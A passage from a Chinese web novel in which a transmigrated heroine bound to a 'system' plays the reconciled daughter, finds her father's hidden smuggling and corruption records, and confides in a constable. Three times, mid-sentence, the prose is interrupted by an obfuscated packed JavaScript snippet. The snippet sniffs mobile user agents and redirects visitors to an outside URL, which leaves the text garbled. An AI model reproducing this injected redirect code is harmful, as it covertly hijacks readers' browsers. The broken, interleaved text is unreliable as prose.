今日这一声“我怕”落在黎家人耳中,倒像是笑话,有些令人无所适从了。 黎文远冷哼道:“稀奇稀奇,你?还会怕?” 黎映真瞥他一眼,又往远离他的方向挪了挪凳子,没立即接话,明摆着是“怕”他。 不见黎世昌跟郑氏接话茬,她眼波一转,侧过脸去,也是怕自己演不出十分的委屈样,让下面要说的话大打折扣,这才提前做些准备。 “我只有一间客来居,这一个傍身立足的地方,能不怕吗? “文远做着家里那么多营生,还盯着我唯一的客栈,我能不怕? “说到底,我都没有母亲了,一个姑娘家孤零零在这世上,哪有不怕的道理?” 越说越有些心虚,她又背过身去,索性彻底隔绝开黎世昌的目光,这才能继续说下去。 “娘留给我的银子已都花在客来居上了,眼下我有的都是自己赚来的。 “我以为,有了安身立命的本事,能给家里多些贴补,爹能多看看我,不至于将我跟过去一样拿去给人家换聘礼,支撑这个家。 “可说到底,只因为我是姑娘家,再能挣银子也没用。可若我能赚的钱多过亏损的,爹还觉得留我在家不如给我寻门亲事吗?” 桌子那头的人登时像被踩了尾巴似的,猛然将筷子拍在桌上,涨红着脸,指着黎映真骂道:“你就是舍不得那点破营生。家里能看得上你那破落客栈,还愿意管你,你就烧高香吧。一个嫁不出去的疯妇,还给自己连脸上贴金,故意在爹面前挑拨?你也配?” 那根指着黎映真的手指连同整只手、整条手臂都在抖,黎文远肆意表露着那股不可一世的嚣张态度。 可那双赤红的眼睛里,又有着另一些被强行压制掩饰的情绪。 黎映真坐着不动,袖管里的拳头又攥紧了几分,双眼合着,且作忍耐。 但落在外人眼里,她这忍气吞声的模样确实可怜,谁家嫡出的女儿要受这样的气,不过是因为没有母亲撑腰,黎世昌又偏心罢了。 见身后还是没动静,黎映真暗暗吐了口气,缓缓从凳子上站起身。 正要提步时,终于听见黎世昌问道:“上哪儿去?” 牙都快咬碎了,她不得不转身,发不出脾气,却也给不了谁好脸色,甚至不曾抬头去看黎世昌,只垂着眼,道:“对不起爹的关心与好意,回去思过,不打搅爹一聚天伦了。” 言毕,她不给黎世昌开口的机会,行了礼转身便走。 好在黎世昌没再为难,否则再多说几句,她可忍不了了。 匆匆回了绣楼,房门“啪”地一声被重重关上,险些夹了紧跟上来的翠环。 “小姐,小姐。”翠环拍着问,在门外焦急安抚道,“小姐,别生气了,不值当。奴婢去找小厨房给你再做些吃的。” “不吃不吃。”黎映真抱着床上的细软堆了个棉花堆出来就是几拳头砸下去,这才泻了几分火气,朝门外道,“我静一会儿,你别管我了,没事的。” 说完,她直接扑进软绵绵的床褥,咿咿呀呀地闷声发泄起来,硬是将黎世昌和黎文远母子骂了个狗血淋头才勉强解气,不情不愿地重新坐起身。 坐去梳妆台前,看着自己碎发散乱的模样,恼意又涌上来几分。 但这回,她只是重重叹了一声,不觉咬着唇,开始思考下一步动作,毕竟是好不容易等来的机会,她可不能白白放过。 独自在房中熬了大半天,黎映真连晚膳都没吃,一面让翠环注意黎世昌的举动,一面算着时辰,特意在晚膳后泡了一壶安神茶送去书房。 黎世昌正对着烛火出神,见她到来,神情复杂。 “爹。”黎映真将茶盏轻轻放在他手边,而后退去一旁。 黎世昌得了面子跟台阶,没再端着架子,端起茶盏,明知故问道:“怎么过来了?” “认错。”语气有些生硬,这倒是黎映真故意设计的,人设总不能一下子变化太大。 “你还有错?”黎世昌啜了口茶,听着心情好了不少,却也怪里怪气的,是在拐着弯说她到底不懂事。 “也不是我一个人有错。”黎映真憋着嘴,即刻俯身在黎世昌膝边,抬头看着她,“爹,我说的都是实话。从前为了家里能周转,你让我嫁给张家,是没办法。可现在你也看见了,我可以把客栈经营好,我也只想管自己的客栈。 “家里的东西本就该由爹做主,爹想都给文远,我没有办法说个不字。但客栈是娘留下的东西,怎么说也有爹的心血。文远是继承黎家家业,多少也有祖辈们的荫蔽,但我是女承父业,爹不为我骄傲吗?” 若不是来之前反复练习了好多遍,对着黎世昌这张写满了虚情假意的脸,她根本说不完这些话。 但见黎世昌仍是古井无波的双眼,黎映真反而又仰了仰头,完全接纳了他带着审视的目光,道:“爹是觉得我的生意越做越好,甚至有了公主资助,迟早有一天会真正脱离黎家,到时真就一点都帮衬不了黎文远了,是不是?” 座上的身姿未动,可那双看似浑浊的眼睛里瞬间闪过精光,那原本松弛着放在膝上的手也几不可见地动了动。 “我离家,只是因为觉得所受不公,家里没有我立足的地方。但凡家中能有我的一处角落,我又何必在外头飘零?我难道不知一个姑娘家在外的难处?可我回来又能得到什么? “爹只这样看我,郑姨娘跟黎文远算计我,我只有把客栈攥在手里,才能好好活着。 “而我,如何不想帮衬家里?如何不想有个依傍?就算是嫁了人,夫家也未必靠得住,但我跟爹不一样,爹多护着我点,我能给家里的,一定比黎文远多。” 方才那一闪而过的神情终于在最后那句话里有了停留。 烛光里,黎映真不能从黎世昌的眼里看到任何骨肉温情,却精准捕捉到了独属于商人对利益的在意和追捧。 那簇火苗在黎世昌眼底有越烧越旺,而黎映真却站起身,道:“就快到过账的日子,明日我得回趟客栈。” 黎世昌似在想什么,片刻后才点头道:“去吧,寒气愈重,出门多加件衣裳,免得着凉。” “嗯,知道了,爹也是。”黎映真淡淡道,这就退了出去。 她近来少在客栈,这趟回来一为过账,二也是出于系统要求,暂且走一走所谓的主线任务,以免被主机检测出任务偏离,影响计划。 她这个掌柜的不在,客来居维持着基本的运营,生意未见凋零。 阿桃见黎映真回来,自是欢喜,招呼着大伙过来,围着她七嘴八舌地说着近况。 “掌柜的你可算回来了,这些日子可把我们愁坏了。”阿桃小脸皱成一团。 “我这不是给你解愁来了。” “听这话,你还不能回来?” “再等一阵,眼下还有事没办完。” 看着阿桃失望的神情,黎映真少不得心有愧疚,道:“这阵子辛苦我们阿桃了,不过这样也让我知道了咱们家阿桃是这个。” 见黎映真竖起大拇指又满脸骄傲的模样,阿桃倒是有些羞了,再挪着步子往她身边靠了靠,低声道:“掌柜的别只夸我了。” 不知这小丫头怎么忽然说这个,黎映真顺着她的视线转身,这才见是那被挑开的棉帘后头,站了个高大挺拔的身影,不知偷听她们说话多久了。 阿桃掩唇,又贴近黎映真耳边道:“李捕快最近来得也少,最多就是巡街的时候过来看看。” “哟,黎掌柜今日得空回巢了?”李弦慢悠悠地踱步进来,目光在黎映真脸上转了一圈,像是在确认什么。 依是那样散漫不羁,但黎映真多看了几眼,便捕捉到他眉眼间难掩的疲惫,以及眼下的青影。 她转身,直接往楼上雅间去。 李弦跟着,像是她身后的影子。 进了雅间,关上门,她听李弦道:“躺下歇会儿吧。” 她转头看着李弦,身子未动,只是眼神往一旁的短榻细软上一瞥。 李弦扯动嘴角,抱臂看着她道:“你在黎家那龙潭虎穴里周旋,出来一趟不容易,你先。” 她的背靠上身后的门扇,跟李弦一样抱臂,微微歪着脑袋,道:“李捕快查案辛苦,说不定又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183827|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身陷险境,你先。” 含在他眉间的笑意散开,李弦转身坐去了短榻上,再拍了拍身边空着的位置。 黎映真悠然走近,却只站在李弦跟前。 见那人又往旁边挪了些,她这才坐下,又不放心朝李弦另一边看了看,道:“仔细别摔下去。” 于是有人又挪近过来,挨着她坐。 李弦不开口,便是等她先说。 原本出来的时间就有限,与他磋磨了这一会儿,黎映真也就不藏着掖着了。 “算是有些进展了,等我再把线放长一些。” 揉了揉眉心,黎映真挑了些在黎府里要紧的信息告诉李弦,自然也将终于等到黎世昌上钩的消息让他知道。 待她说完,李弦道:“看来黎大小姐这戏,唱得挺累。” 他这模仿黎文远咬牙含酸的样子倒是惟妙惟肖,可黎映真看着只觉好笑,笑嗔道:“闭嘴。” 心情已然开朗了几分。 她又叹了一声,道:“虎口夺食,总得付出点代价。” 戏要演,委屈也得受着,但她选择少跟李弦提及,毕竟是她主动揽的事。 察觉到身侧的气息靠近了些,她转头,恰对上一双深邃且认真的眼睛。 “憋了不少火吧?” 他的声音低沉了些,关心自是有的,还有些另外的情绪,丝丝缕缕地缠在温柔眼波里,一点点地透露给她。 她有些失神,懵懵地点了点头。 忘了自己前一刻还想着把这些情绪瞒下来。 李弦眸光发亮,道:“这会儿,就咱们两个。” “那又如何?”她像是被锁在李弦的目光里,忘记收回自己的视线。 “所以你不用憋着。”李弦拍了拍自己肩头,“借你出口恶气。” 看他挑眉,黎映真才回了神,猛地从短榻上抽身站起,扭过脸道:“谁憋火了,我好得很。” “行,你没憋火。”李弦从善如流,嘴角又勾起那抹懒洋洋的弧度,再拍了拍身边的位置,“仰着头说话累脖子。” 虽是自己落了下风,黎映真还是坐了回去,只是还没坐稳,又听那人道:“我前几日,去了趟茉城。” “又出事了?”黎映真紧张道。 李弦不置可否,只继续道:“跟着阿琳查到的线索,乔装去见了一个财主。原本已设好了局,要套他的话,但中间出了点意外。” 黎映真不知自己跟着李弦的讲述,那颗心已渐渐提到了嗓子眼,又不便此时打断,便只死死盯着他,呼吸都变得小心翼翼。 “话到中途,有人送了一封书信。那财主看后,只说‘知道了,我自会前去’。”李弦缓缓道,“我看他神情紧张,自然不能放过那信件,想着万一里头有重要线索呢。” “怎么样?是不是?”黎映真到底按捺不住,问道。 听李弦短叹一声,眉心纹路更重,她急道:“你快说。” “是重要线索,但……”李弦又是一声叹息,拍腿道,“那上头原是……原是有人与他借牛,他根本不识字,不知道书信里究竟写的什么,信口就答应了,还要自己去。” “你!”分明带着质问的口吻,却在黎映真抬手指向李弦的那一刻,成了再也忍不住的笑声。 笑到最后,她几乎伏在李弦肩上,半晌都没停下来。 她笑得身子发颤,李弦都感受到了,只默默看着,眉眼随之舒展,眼底柔情更浓。 只可惜,那只顾着发笑之人未能在此刻亲眼瞧见。 “你啊……”黎映真渐渐止住,仍伏在李弦肩上。 亏他费心临时想了这么个笑话哄她,还由着她借了他多时的肩膀,这会儿笑一笑,在黎家受了多大的委屈也都能释怀了。 雅间里长久没人说话,两人好似都格外珍惜这会儿的沉默,谁都不忍心打破此刻的宁静。 她没有系统的桎梏,没有黎家的算计,而他可以暂时不管查案带来的紧迫和危险,即便不开口,也愿意就这样静静地坐着。 “李弦。” “我在。” “谢谢你。” “嘘。”他垂眸看着依旧伏在自己肩上的身影,“此时无声胜有声。” 60. 第 60 章 自从跟黎世昌有了第一次书房独处,黎映真在黎家的日子显见地自由了些。 过去出趟门少不得被郑氏等人明里暗里地阻止,如今倒是没人再有那么长的舌头,尽管身后那些眼睛都还在。 这日,黎映真忙完五味轩的事回黎家去,才进家门,便有管家上前,说是黎世昌有请。 距离晚膳还有些时间,黎映真特意带了些点心去见黎世昌。 才推开书房房门,她就听见黎世昌道:“映真,你过来看看。” 黎世昌语调比先前和善了不少,正指着桌上摊开的账簿。 黎映真绕去书桌后头,又听道:“为父年纪大了,眼神不济,你既对经营有心,便帮为父核对核对。” 她无论如何都不信黎世昌会因自己几句话就放下芥蒂,与她做个慈父。 这趟必是试探,只是当下,她拿不准将要面对怎样的考题。 表面上,她只露出一丝惊讶,随即又嘴角衔笑,道:“女儿定当尽心。” 她在书桌旁坐下,不急着拿笔,先将账面的数字大致过一遍。 问题不少,如何解才是关键。 原身的记忆里没有太多关于记账财务的记忆,她只能庆幸穿越前因为兴趣看过一些相关的书籍和案例,经营客来居之后算是有了一些实操经验,体会更深。 见她坐着出神,黎世昌问道:“怎么,看不明白?” “日常没怎么做过这样复杂的账目。”黎映真将账簿翻回第一页,伸手去拿笔,舔墨,“我还生疏,动作慢,爹不用管我,到时检查就好。” 她开始核账,一笔一笔都看得仔细,落笔偶有迟疑,也是在思量如何平账,尽量让账面看起来漂亮些,不易被人发现问题。 一面落笔,一面默默记住错误账目,哪怕知道黎世昌此时能拿出来的不见得是要紧内容,但有一点儿线索,她都不想放过。 这世上所有的事,都逃不过一个万一。 因此,她这核账对账,也该有万一。 见她笔尖停顿,黎世昌问道:“有疑问?” “有。”她将账目推给黎世昌道,“这里想不到合适的支出款项。” 黎世昌看过后问道:“芝麻、黑豆有何不可?” “时间不对,六月最该是绿豆、小米入货,但爹你看这里。”她指着问题账目道,“绿豆、小米已都记了账,也合乎家里粮行的一贯数量。” “这个时间芝麻、黑豆刚种下去不久,不可能有这样大量的收获,那么我们买的只可能是去年的旧货,这不合理。 “而且我看了这两笔账临近的购入账目,都压着粮行惯例的最大限度,所以这两笔是实在平不了,才硬是记了芝麻跟黑豆。” 黎世昌却不以为意,道:“只是两笔小账,真就做不平?” “倒也未必,只是单这一本账簿不够。”黎映真放下笔,起身道,“就算让我把这本账簿翻烂了,这两笔我也平不了。爹看看其他的吧。” 叩门声忽然响起,郑氏的声音随之传来。 不等黎世昌示意,黎映真转身去开门,跟郑氏相对的那一刻,少不得挨了一记怨毒的眼刀。 这神情,让她想起黎文远看自己的样子。 可这会儿,没听见黎世昌出声,她便多一句都未跟郑氏说,悠然自得地走了。 这样的情况在之后的一段时间里渐渐多了起来。 黎世昌抛出的问题越发刁钻,黎映真的经验又少,自是不可能每次都做得周全。 但她也发现,黎世昌会在她的不足处给出适当的提示,她这做账的功夫在这段时间里算得上突飞猛进。 他们的父女关系,因为这样的相处看来亲近的不少,尤其当黎文远对黎映真不敬时,黎世昌的态度已然跟最初有了不同。 但这些依然不够—— 黎世昌这书房里还有她想要却没得到的东西。 在黎世昌身边的时间越长,黎映真越不能安心。 那些他们之间看来逐渐慈爱亲近的表象下,总像是藏着一条无形的毒蛇,时刻准备抓住她放松警惕的瞬间咬上她一口。 这日,黎映真照旧到书房跟黎世昌学着做账,未几,管家就在外头叩门,急匆匆地像是出了大事。 她手中的笔微顿,极力克制住想要抬头的冲动,继续在纸上写字,一副心无旁骛的样子。 察觉到黎世昌跟管家去书房外说话,书房的门被特意关上。 纸上的笔尖这才稍稍提起,黎映真还是没抬起头,仍是伏案写字的动作。 只是指尖不由收拢了几分,猜想着,若无意外,这也许就是李弦替她争取的时间。 多时不见黎世昌进来,她实在按捺不住,掀眼朝门扇上的映下的身影瞧,又怕被发现,很快就收回视线,强迫自己继续做账。 书房门被推开时,黎映真才假意停笔,问道:“出事了?” 黎世昌沉着脸,盯着她没有立即接话。 她抿着嘴角,看着写了一半的账,道:“我想写完这些再走。” 寒意从门外涌进来,凝固在他们父女之间。 瞧见管家在一旁低声催促,黎映真想了想,只当没有发现,继续低头做账。 黎世昌接下去是什么表情,她没看见,只听着房门被关上,感受到门扇上映下的身影匆忙离去。 又静静做完了几笔账,她握着的那支笔,才被真正搁去笔山上。 她不敢大意,仔细检查了门窗,确认周围的确没有人,才准备动手。 可黎世昌这书房比起黎文远的要整肃穆得多,她手脚需更干净、谨慎才好。 因此,黎映真没有直接在书房内动手翻找,而是尽量回忆黎世昌平日里的习惯动作—— 教她做账时,他有时会在北墙挂着的那幅画前踱步,或是站立凝神,有时她做账时间长了,黎世昌还会坐在画前的那张太师椅上。 快步到太师椅前,黎世昌坐下时的样子在黎映真脑海中浮现。 他的右手会一反常态地去摩挲左侧扶手的末端,那里是个雕刻了繁复云纹的榫卯。 黎映真俯下身,指尖拂过那云纹雕花,还尝试过按压、旋转,却毫无反应,与其他部位无异。 “我想错了?”她嘀咕一声,却不甘心,指尖又在云纹上缓慢摩挲,一并凑近了仔细观察。 云纹下方的木质因常被触摸,要比其他地方更平滑,颜色也要深一些,而且边缘似乎有一条极细的缝隙。 心头猛地一跳,黎映真又凑近辨认。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188310|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >当真是不同于木质纹路的一道细缝,轻易不会被察觉。 她立即从发间取下一根尾部尖细的簪子,小心翼翼地探入那条缝隙,轻轻向内一拨。 “咔。” 一声微不可闻的轻响,那块云纹木块应声向上弹起一道窄缝。 黎映真屏住呼吸,轻轻掀开木块。 下面是一个隐蔽的浅槽,里面放着一本封面空白的线装册子,以及几封边角磨损且颜色泛黄的信函。 薄册并非正式账本,更像是私人手札,记录着一些隐晦的代号与巨额数字往来,时间大约是十二至十五年前。 手札上频繁出现“特殊茶引”、“漕运三号线的额外折扣”、“裕丰行过水银两”等字眼,数额之大,应该远超黎家明面生意。 更让她脊背发寒的是,其中几页明确记录了通过“裕丰行”将不明巨款洗白为对合法产业的投注,经手人签名正是黎世昌。 而在一页记录的款项旁,还有一行清秀的小字批注:“此非正道,恐遗后患。” “这笔迹……”黎映真眸光一沉,正和原身母亲那本册子上的如出一辙。 是原身母亲的笔迹。 所以原身母亲不仅知道,还曾试图劝阻过黎世昌? 这黎家人果然都是知情的。 她再拿起那几封信函。 信纸脆弱,字迹因年代久远而略显模糊,但落款处的私印和称谓,依稀可辨是当时几位在漕运和盐铁上握有实权之人。 信中言辞隐晦,多用暗语,如“新茶已备妥”、“前次土仪已笑纳,后续山货还望多多关照”之流 茶引、漕运折扣、过水银两、打点官员…… 这些碎片拼凑在一起,正指明了黎世昌从十几年前就牵扯进了茶叶走私、漕运腐败的案件中。 他甚至是核心参与者与执行者之一。 李弦查的,竟是这样的案子! 她将剩下的信函全都看完,一个推论在她脑中形成—— 黎世昌早年依靠这些非法手段攫取了巨额财富,将黎家基业推至顶峰。 但朝廷对此类案件查处趋严,为了摆脱罪责,他献出了大部分身家求得安稳。 可他仍放不下那些利益,自己年事渐高,未免失去辛苦打下的江山,且因失去价值反遭官场中人出卖,遂将这些见不得光的生意和人脉,移交给了黎文远,以期东山再起。 所以黎文远才能如此迅速地拓展生意,黎世昌才会对他的某些行为睁只眼闭只眼。 而原身母亲写下那样的批注,很有可能是发现了黎世昌的勾当,被迫参与其中却心怀恐惧试图劝阻,可结果却…… 浓烈的寒意爬上黎映真的后背脊梁,连她吐出的那口气都变得断断续续。 她迅速将册子和信函按照原有的折痕仔细复原,敏捷地塞回暗格,扣上机关,确定云纹木块严丝合缝,再用手巾将那一处小心擦过。 房外忽然传来窸窸窣窣的声响。 黎映真即刻回到桌前,门扇忽然被敲响。 “夺。” 惊得她骤然转身,已是来不及绕回桌后,再做那提笔改账的姿态了。 先发制人,后发受制于人。 她当机立断,提步上前,自己开了那门。 61. 第 61 章 打开书房门的瞬间,眼角余光中瞥见一道从拐角过来的身影,黎映真顺势看去,见是郑氏。 “你怎么还在老爷书房里?”郑氏嫌弃问道,一面朝书房里探看。 见她要进来,黎映真却是站着不动。 郑氏柳眉皱紧,斥道:“你什么意思?” 黎映真不由暗叹,黎文远跟她真是子随母相,如出一辙。 “没什么意思。”黎映真退开,“郑姨娘要进来?” 那副嚣张气焰瞬间凝滞,郑氏却不曾抬脚快过那道门槛,拿了手巾掩唇道:“书房重地,我一个妇道人家进去做什么。你也是,老爷走了有一阵了,你在里头鬼鬼祟祟干什么?” 这些日子她跟在黎世昌身边,必定惹了郑氏不痛快。 黎映真确定,郑氏这会儿定是来找她差错的。 她反而定了心,有意朝书案上那本合上的账本看了一眼,再笑吟吟看着郑氏,并不接话。 两人就这样隔着门槛,一内一外地耗着。 看着郑氏眼底越积越深的怒意,看她喉间起伏的动作,黎映真道是时机成熟,抢在郑氏开口前,道:“不告诉你。” 随后震衣拂袖,跨出门槛,当着郑氏的面,关上书房门。 走前,她嘴角翘得更高,连同那双杏眼里也多是得意,道:“想进去,自己开门。” 眼看郑氏满脸涨红,瞪得那一双眼珠子都像是要跳出来似的,黎映真飒然转身。 提步前,她又朝院子里匆匆扫了一圈,这才离开。 书房那声房门响动到底奇怪,黎映真不以为是偶然,但也想不明白缘由。 这样心事重重地回到绣楼,她才关了门,又听身后有动静。 “谁?”虽有意压了嗓子,却也是厉声质问。 恰是跃窗进来的身影落了地,回道:“是我。” 谁能想到,堂堂衙门捕快,会是一身黎府的家丁装束,光天化日地翻姑娘家的窗户。 黎映真大步过去关上窗,头都没回便低声嗔道:“你胆子也太大了。” 不放心地又打开了一条窗缝,她透过缝隙查看外头的情况,仍是不安地问道:“万一被发现怎么办?” 李弦看她紧张关切的模样却是笑道:“我自有办法。” 又是这样散漫惬意的姿态,听得黎映真暗暗啐了他一口。 待合上那道窗户缝,她才恍然大悟,至李弦跟前问道:“刚才是你在书房外弄出的动静?” 眼前人抱臂相对,嘴角含笑,已然默认。 黎映真拿这人没办法,暂且压了其他的心思,认真道:“你先听我说……” “小姐。”翠环的声音从门外传来。 只从余光中瞥见门扇上的影子,黎映真已动手推着李弦藏去窗边的架子后头。 那儿挨着墙角,又有挂着的衣裳遮住,能挡些视线。 “来了。”黎映真应道。 不放心地又从柜子里抽了几条裙子出来挂上,看着将李弦遮严实了,她才去开门。 “何事?” “奴婢是看小姐在老爷书房待了许久,想问问小姐,要不要拿点点心过来,这离晚膳还有些时候呢。” “不用了,你歇着去吧。” 匆匆将翠环打发了,黎映真才发觉自己出了一手的冷汗。 不过藏个人,倒像是自己做了什么天大的恶事一般。 确定了翠环也不在附近,黎映真才回到架子前,道:“出来吧。” 架子后头渐渐探出个脑袋,那样剑眉星目的一张脸躲在女儿家的衣裙后头,确实不伦不类,教外人看了真该有闲话了。 忍着那股好笑劲儿等李弦出来,黎映真不浪费时间,捡了在书房里发现的最要紧的线索都跟李弦说了。 “先就这些吧,其他的我再整理整理,晚些时候给你送出去。”黎映真道。 李弦点头,眼底颇为赞许,道:“不枉我特意过来看着,如果没你,这些人还不知要查多久。” “还说呢,你刚才那一下真是吓死我了。”黎映真抱怨道,“还有你这……” 这人行事也是大胆且出人意表,大白天翻窗进姑娘家闺房,她若真是个胆小的,方才就该喊人了。 只是有人不知,自己欲言又止时,颊上浅浅红了一片,早被另一双眼睛都瞧见了。 嘴角笑意更浓,李弦摸了摸鼻尖,走近过去,道:“我这不是怕你做事太认真,顾不上外头的风吹草动,才来看看。老梁那儿办事靠谱,定能缠着黎世昌他们,一时半刻回不来。” “你的意思是,老梁靠谱,我不靠谱?” “你这儿不适合单独行动,才多加了一双眼睛。” 黎映真虽不服气,但若不是李弦方才那一记提醒,她说不定真就被郑氏发现了。 努了努嘴角,黎映真当是默认了李弦所言,道:“话都给你交代清楚了,此地不宜久留,你赶紧走吧。” “我还没交代呢。”李弦好整以暇,见黎映真满脸困惑,他道,“手头有的线索已查得差不多了,准备过几日动手。你应该不会再在这宅子里待多久了。” 乍闻喜讯,黎映真自然高兴,但一想李弦所谓的动手,必然又是一场刀兵相向。 她问道:“现在动手,不怕再闹出大动静?” “逼得急了,对方才可能露出破绽。”李弦一派胸有成竹的模样,再要开口时,眸光柔和下来,“放心吧,不会有事。” 知是他的安慰之词,黎映真并不尽信,却也多说不了什么,只得点头道:“一切顺利。” 听李弦应声后就要走,她赶忙开口道:“哎……” 就差开窗的那双手即时顿住,李弦回头问道:“怎么了?” “上回的酥饼没吃够。”她轻轻扯起袖口,垂眸迟疑起来。 李弦灿然一笑,道:“知道了。” 窗户打开的瞬间,那道矫健的身影瞬间蹿了出去。 黎映真追到窗口,朝外头探看时已经看不见他的影子。 “你知道什么呀就你知道。”忍不住嘀咕一声,她努力压住了上扬的嘴角,却抵不住那淌出眼底的笑意,颊上还有些热,这就赶紧关了窗。 自此之后,在黎世昌书房发现的秘密和李弦说过的话,一直在黎映真脑海中徘徊,总也挥之不去。 白日里神志清醒,面对黎家的人,她尚且能够伪装一番,但到独处时,尤其夜深人静的时候,那些思绪缠绕着涌上心头,她总也无法平静。 而黎府内,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192399|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟变了天似的,自黎世昌开始,黎文远、郑氏,甚至是管家和一些亲近黎世昌的下人,每一个都面色沉重,各怀心事。 这夜,黎映真依旧躺在床榻之上,却毫无睡意。 窗外风声呜咽,像是有人在嘤嘤哭泣,听得她心烦意乱。 “滴!” 脑海中那个冰冷的金属音,突兀地响起。 “警告!检测到宿主长期处于偏离主线任务状态,直播间热度值过低,任务进度严重滞后。请立即采取行动,提升热度。” 她的系统搭档如今已懒得亲自出面,直接用这样生硬的命令指挥她的行动。 黎映真在心底冷笑,但眼下没有其他事可做,单纯的系统直接根据程序设定发布命令,也许比她的那位“搭档”更好“接触”。 她立即以一种消极的意念回应系统:“采取行动?我现在被困在黎府,寸步难行,还要应付黎文远的步步紧逼,哪里还有精力去搞什么热度?再这样下去,别说完成任务,我怕是要先被黎家人生吞活剥了。” 听来死寂的空间里,隐约出现了“滴——滴——”的电子音。 她屏住呼吸,死死盯着虚空中的某一处,猜想这或许是系统正在进行评估。 “滴!” 一声刺耳尖锐的金属音突然爆发:“风险确认!宿主生存环境恶劣,能量获取效率低下。请宿主尽快改善处境,或寻找替代方案。系统无法长期维持低效运行状态。” 她忽地想起先前在锦瑟园内,获取的系统代码碎片——能量阈值、主机监管、无效运行-清除。 而这次,她有得到了“替代方案”的提示。 为了确定这个所谓的替代方案和先前找到的另一个关于客来居的关键词是否有关联,黎映真继续诉苦道:“改善处境?谈何容易?除非我能把这个烂摊子甩给别人。如果……” 系统在这个空间内似乎可以预读她关于穿越任务的想法,而不用她故意试探,因此她还没说完,一股尖锐的疼痛就充斥在脑海中。 一样!和每次设想客来居分店时遭受的痛苦一模一样! 终于确定了心里的答案,即便又吃了一次苦头,黎映真也欣喜若狂。 身体基于思维上的刺激,兴奋地坐起,尽管还有些头疼,她却已顾不上了。 窗外一阵大风刮过,风声狂啸,竟卷落了檐角的碎瓦。 瓦片碎裂的声响在寂静冬夜里格外清晰,听得黎映真不禁攥紧了被角。 门扇上渐渐两了一小团光线,映下一道人影。 “小姐。”是翠环的声音。 黎映真抓了架上的衣服,随手一批,便去开门,问道:“怎么了?” “奴婢睡不着,又有些饿,原是想去小厨房找点吃的,可是……”翠环一手持灯,一手又推着黎映真往里头走了些,压低了声音道,“奴婢发现,有人往前头院子里去了。” 这个时候去前院总不会是会客,那应该就是要出去了。 “知道谁出去了吗?” “老爷跟少爷都出去了,就带了日常身边亲近的几个人。奴婢怕被发现,没敢再跟了。” 黎家父子这个时候出门,难道是李弦动手了? 真像他说的,成功引出了一窝蛇? 62. 第 62 章 黎映真一直等到天亮都未见黎家父子回来。 她实在担心外头的情况,索性早市前就以巡查客栈的名义离开了黎府。 天光还未大亮,天际仍是灰蒙蒙的一片,赶早市的百姓虽已忙碌起来,但因这天气寒冷,多是行色匆匆。 黎映真裹着氅衣,冒着寒风,脚下的步子越来越快,最后还是小跑着到了客来居。 阿桃他们照旧开店,没想今日黎映真来得这样早,惊喜道:“掌柜的,你怎么……” 一把抓住阿桃,黎映真带人走入大堂,到临近的角落中,嘱咐道:“我今日都留在客栈,你替我想办法去衙门打听打听,昨晚上衙门里有没有动静?或者……码头那儿出事了没?” 见她这样急,阿桃猜到有事发生,立即点头道:“我这就去。” “哎!”黎映真又将人拉住,“少露痕迹,我身后多的是眼睛,自然也看着你们。” 阿桃面色更紧,视线都不敢多往外头瞟,抿紧了唇,朝黎映真点头。 之后大半日,黎映真的确都留在客来居内,像过去那样招呼食客,一来免得盯她的眼线发现异常,二来她也想从前来的客人中探听些昨晚的情况。 将近平日李弦巡街路过客栈的时辰,黎映真有意朝外头看。 只有来来往往的百姓,莫说李弦,老梁都未见。 正要收回目光,不防暼见个似是穿着公服经过的身影。 她立刻快步往门口去,探头想要看个清楚。 确实是巡街的捕快,但不是李弦。 这下几乎可以确定必然发生了状况,她腔子里那颗心更是跳得七上八下。 阿桃照着黎映真的吩咐,今日特意抓了客栈采买的情况,称是要出去补货,进进出出走了好几趟。 这样直到午市后,她终于给黎映真带回了些消息。 “掌柜的,真有事儿。 “我听昨儿夜里打更的说,衙门里趁夜派了好些人出去,那阵仗不小,但是居然没惊动县里的百姓。我问了好些人,都说夜里没发现异常。 “码头那儿,我找过赵先生,请他帮忙探查情况,但是他说……不知道。” “不知道?”黎映真先是不解,再琢磨琢磨才想通其中缘由,暗暗骂道,“狗东西,这口封得倒是周全。” 没听清黎映真究竟说了什么,阿桃只见她气恼的样子,有些担心,问道:“掌柜的,到底什么事儿?该不是李捕快出事了吧?” 其实按黎映真今日所见所闻,她能判断李弦的行动多半是成功的。 她只是气那人“公事公办”,一点儿多余的风声都不让她知道,是真怕她在这些事里越陷越深,将来脱不了身,惹麻烦吧。 “黎掌柜。”客栈外头进来个十来岁的孩子,是住在南街的小柳儿。 黎映真闻声过去,问道:“小柳儿?你怎么来了?” 小柳儿从怀里掏出一个纸包,递给黎映真道:“李捕快让我给你的。” 